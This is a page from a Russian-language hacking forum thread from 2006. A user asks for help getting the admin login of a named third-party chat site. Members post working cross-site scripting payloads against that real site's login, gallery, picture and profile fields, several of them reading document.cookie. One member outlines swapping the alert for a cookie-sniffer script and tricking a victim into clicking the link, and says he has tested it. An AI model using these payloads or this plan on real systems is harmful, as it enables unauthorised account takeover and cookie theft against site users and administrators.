HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Чаты
Перезагрузить страницу Помогите взломать !!!!
   
 
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

Помогите взломать !!!!
  #1  
Старый 04.10.2006, 19:28
kord
Новичок
Регистрация: 04.10.2006
Сообщений: 3
Провел на форуме:
11113

Репутация: 0
По умолчанию Помогите взломать !!!!
http://chat.russianamerica.com:8080/ помогите узнать логин админа и код с уважением Автоматический гранатамёт Стечкина.
 

  #2  
Старый 04.10.2006, 21:06
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


По умолчанию
Не нравиц мне та надпись Russian Amerika, будет время помогу!!!!!
 

  #3  
Старый 04.10.2006, 22:45
kord
Новичок
Регистрация: 04.10.2006
Сообщений: 3
Провел на форуме:
11113

Репутация: 0
По умолчанию
помоги чем можешь.
 

  #4  
Старый 04.10.2006, 23:36
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


По умолчанию
первое че брасаеться в глаза это пасив на главной странице


Код:
http://chat.russianamerica.com:8080/login?login=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
ток пробел над убрать в document.cookie
буду смотреть дальше...

-- в профиле не фильтруються двойные кавычки
Последний раз редактировалось nc.STRIEM; 04.10.2006 в 23:59..
 

  #5  
Старый 04.10.2006, 23:54
Kaban
Участник форума
Регистрация: 19.03.2006
Сообщений: 286
Провел на форуме:
2547059

Репутация: 144
По умолчанию
вот и я нашел
http://chat.russianamerica.com:8080/StPic?n='><script>alert(/Kaban/)</script>
XSS эта вроде работает, только когда под ником сидишь
Последний раз редактировалось Kaban; 04.10.2006 в 23:57..
 

  #6  
Старый 05.10.2006, 00:05
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


По умолчанию
Цитата:
Сообщение от Kaban  
вот и я нашел
http://chat.russianamerica.com:8080/StPic?n='><script>alert(/Kaban/)</script>
XSS эта вроде работает, только когда под ником сидишь
ну вот те пожалуст!
осталось заместо алерта подставить скрипт для сниффера и впарить комут ссылку! уже проверил работает!
Последний раз редактировалось nc.STRIEM; 05.10.2006 в 00:53..
 

  #7  
Старый 05.10.2006, 00:11
Kaban
Участник форума
Регистрация: 19.03.2006
Сообщений: 286
Провел на форуме:
2547059

Репутация: 144
По умолчанию
вроде тоже проходит
http://chat.russianamerica.com:8080/Gallery?s=%22%3E%3Cscript%3Ealert(/Kaban/)%3C/script%3E
 

  #8  
Старый 05.10.2006, 00:39
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


По умолчанию
Еще нашол в профиле полуактивную xss в поле Домашняя страничка: вставляеш
Код:
" onmouseover=javascript:alert(document.cookie) "
при наведение срабатывает
Последний раз редактировалось nc.STRIEM; 05.10.2006 в 00:59..
 

  #9  
Старый 05.10.2006, 08:56
kord
Новичок
Регистрация: 04.10.2006
Сообщений: 3
Провел на форуме:
11113

Репутация: 0
По умолчанию
Хакеры а что именно открываеться что то я не пойму что можно с этим делать и что логин и пароль админа не узнать?
 

  #10  
Старый 05.10.2006, 10:19
Kaban
Участник форума
Регистрация: 19.03.2006
Сообщений: 286
Провел на форуме:
2547059

Репутация: 144
По умолчанию
вот в этой статье всё прекрасно описано что делать, как делать и зачем делать.
http://forum.antichat.ru/thread20140.html
 
 
Страница 1 из 2 1 2 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ПоМоГиТе! ПЛЗ!!! farik.aka Уязвимости Mail-сервис 1 17.09.2006 13:00



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.